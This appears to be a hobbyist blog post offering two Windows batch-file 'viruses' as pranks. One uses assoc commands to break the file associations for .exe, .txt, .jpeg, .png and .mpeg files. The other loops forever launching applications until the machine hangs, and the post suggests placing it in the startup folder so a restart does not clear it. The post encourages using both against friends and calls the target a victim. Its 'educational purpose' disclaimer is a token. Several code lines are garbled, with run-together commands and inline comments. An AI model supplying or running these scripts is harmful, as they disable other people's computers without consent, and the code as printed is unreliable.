Extension Changer Virus

Guys, have you even imagined that if you can change the extensions of all the files in one go?

Yes, this is possible. :)

You can change the extensions of the existing files & make them useless.

For example you have a set of .txt files (say ~1000 files), you can change its extension in one go to anything & this would make the file useless (until the user knows). 

You can use this as a prank or fun moments or to trouble your friends. :)

Here we go:

As usual, open the notepad, paste the code & save it as a batch (.bat) file.

#########################################

@echo off

assoc .txt=anything // this command associates extension .txt with filetype anything.

assoc .exe=anything

assoc .jpeg=anything

assoc .png=anything

assoc .mpeg=anything

#########################################

Every extension is associated with a filetype like extension ‘exe’ is  is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.

Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.

Application Bomber

Hey guys, Hope all you are doing well.

Here is another virus that will eventually eats up all the CPU memory & will hang your computer. :)

Once you trigger this virus, it will flood the instances of listed applications in the virus code, You can add/remove more applications as per your requirement in the same syntax.

So Here is the code: :)

Copy & paste the code in a notepad, &  save it with a name <filename>.bat

@echo off    // It basically instructs to hide the commands when batch files is executed

:x   //loop variable

startwinword 

startmspaint  //open paint

start notepad

start write

startcmd //open command prompt

start explorer

start control

startcalc // open calculator

goto x // infinite loop

This code once executed will start opening different applications like paint,notepad,command prompt repeatedly, irritating victim and of course affecting the performance. & eventually your system will be hanged forever until you restart. 

(or if you put this piece of code in startup folder, simple restart also won't work here)

So play around with these small viruses, & keep visiting here with more fun stuff.

[Note: Again this article is for educational purpose, try this at your own risk]